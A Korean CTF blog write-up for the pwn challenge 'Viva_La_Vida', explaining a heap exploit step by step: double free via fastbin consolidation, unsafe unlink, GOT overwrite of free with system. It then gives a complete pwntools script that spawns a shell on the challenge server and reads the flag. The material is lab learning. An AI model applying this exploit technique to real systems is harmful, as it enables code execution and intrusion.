ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CHAPTER 3.Viva_La_Vida HowToSolve
    0x.STORY_TELLER/HowToSolve 2018. 9. 3. 18:52

    CHAPTER 3.Viva_La_Vida HowToSolve


    파일 & 소스 : https://github.com/pwnwiz/STORY_TELLER/tree/master/STORY_0x02


    글로벌 포인터로 청크들을 관리하는 청크의 주소를 보면 0x603100인데, root_cavalry청크에 대한 정보가 차례대로 저장되어 있음을 알 수 있다.



    0x603130의 주소는 global_cavalry 청크인데 들어가보면 첫 번째 root와 knight1 등에 대한 구조체의 주소를 관리해주는 청크이다.



    root_cavalry의 첫번째 포인터를 참조해보면 name에 대한 정보가 들어가있고, 그 다음에 salary에 입력한 값이 들어가있으며, smallbin(0x100)을 할당한 영역이 차례대로 들어가있다. 이곳을 통해서 double free 트리거가 가능하다.



    root의 salary를 free한 뒤, knight2를 할당하여 largebin을 할당하면 free된 fastbin에 대한 병합과정이 수행되어 fastbin이 smallbin 영역에 들어가게 되고 double free 트리거가 가능하다. 아래를 보면 0x11bc070이라는 주소가 fastbin과 smallbin 영역에 동시에 들어가 있음을 알 수 있다. 이를 통해 secret 청크의 prev_inuse의 값을 0으로 해제할 수 있다.



    다시 해당 영역을 할당을 하면 smallbin에만 남게 되는데, unsafe_unlink를 통하여 fake_chunk를 할당하는 것이 가능하다.



    fake_chunk의 주소를 root_cavalry 위쪽의 0x6030f0의 주소로 주게되면 strlen(salary) 만큼 청크의 내용을 적는 과정에서 root_cavalry 구조체의 name, salary, secret 등의 포인터 주소를 변경할 수 있다.



    해당 지역에 다음과 같이 got를 적어서 overwriting을 하면 쉘을 딸 수 있다. 나의 경우 puts를 overwriting하여 Name을 출력하는 곳에 다른 got를 작성하여 leak을 진행한 뒤에, free를 system으로 got를 덮은 뒤, /bin/sh를 인자로 넘겨주어 쉘을 따는 방법을 사용하였다.



    그 결과 아래와 같은 flag를 얻을 수 있다.



    익스플로잇 코드

    from pwn import *

    #context.log_level = "debug"

    #s = process('./Viva_La_Vida')
    s = remote('bob7.pwnwiz.kr', 11000)
    e = ELF('./Viva_La_Vida')

    bss = 0x6030f0+0x18

    def allocate_global():
        s.sendline("8")
        sleep(0.1)
        s.recvuntil(">>")

    def allocate_cavalry(length):
        s.sendline("13")
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(length)
        sleep(0.1)
        s.recvuntil(">>")

    def change_inuse(index):
        s.sendline("54")
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(index)
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline("19950610")
        sleep(0.1)
        s.recvuntil(">>")

    def free_cavalry(index):
        s.sendline("24")
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(index)
        sleep(0.1)
        s.recvuntil(">>")

    def modify_salary(index, data):
        s.sendline("21")
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(index)
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(data)
        sleep(0.1)
        s.recvuntil(">>")

    def allocate_salary(index):
        s.sendline("1")
        sleep(0.1)
        s.recvuntil(">>")
        s.sendline(index)
        sleep(0.1)
        s.recvuntil(">>")

    def unlink():
        s.sendline("1")
        sleep(0.1)
        s.recv(1024)
        s.sendline("0")
        sleep(0.1)
        s.recv(1024)

    def leak(index):
        s.sendline("21")
        sleep(0.1)
        s.recv()
        s.sendline("0")
        sleep(0.1)
        s.sendline(index)
        s.recv()
        s.sendline("54")
        sleep(0.1)
        s.recv()
        s.sendline("0")
        sleep(0.1)
        s.recvuntil(">>")
        sleep(0.1)
        leak = u64(s.recv(6)+"\x00\x00")
        print 'leak : ' + str(hex(leak))
        s.recv()
        return leak

    def exploit(index, system):
        s.sendline("21")
        sleep(0.1)
        s.recv()
        s.sendline("0")
        sleep(0.1)
        s.sendline(index)
        sleep(0.1)
        s.recv()
        s.sendline("21")
        sleep(0.1)
        s.recv()
        s.sendline('0')
        sleep(0.1)
        s.send(p64(system))
        sleep(0.1)
        s.recv()
        s.sendline("1")
        sleep(0.1)
        s.recv()
        s.sendline("0")
        sleep(0.1)

    s.recvuntil(">>")

    allocate_global() # root
    allocate_cavalry('A'*47) # fastbin - size 48

    allocate_global() # knight1
    allocate_cavalry('B'*3999) # largebin - size 4000

    free_cavalry('0') # free fastbin

    allocate_global()
    allocate_cavalry('C'*3999) # largebin - size 4000 -> fastbin consolidate

    change_inuse('0') # set free -> unfreed to trigger double free

    free_cavalry('0') # free smallbin (consolidate)

    allocate_salary('0') # fastbin

    modify_salary('0', p64(0)*2+p64(bss-0x18)+p64(bss-0x10)+p64(0)*2+p64(0x30)) # unlink

    unlink() # root -> salary -> unlink_here


    libc = leak(p64(0)*2+p64(e.got['puts'])+p64(0x6030e8)+p64(0)+p64(0x30)) - 456336
    system = libc + 0x45390 # leak libc, system

    print 'libc : ' + str(hex(libc))

    exploit(p64(1)+'/bin/sh;'+p64(0)+p64(0x6030f0)+p64(e.got['free'])+p64(0x6030f0), system)
    # got overwrite free -> system, write bin/sh -> secret(smallbin)

    s.sendline("cd /home/viva_la_vida")
    s.sendline("cat flag")
    s.interactive()



    '0x.STORY_TELLER > HowToSolve' 카테고리의 다른 글

    CHAPTER 2.HalloweenDay HowToSolve  (0) 2018.04.11
    CHAPTER 1. Nymph's_fault HowToSolve  (0) 2018.02.28

    댓글

Designed by Tistory.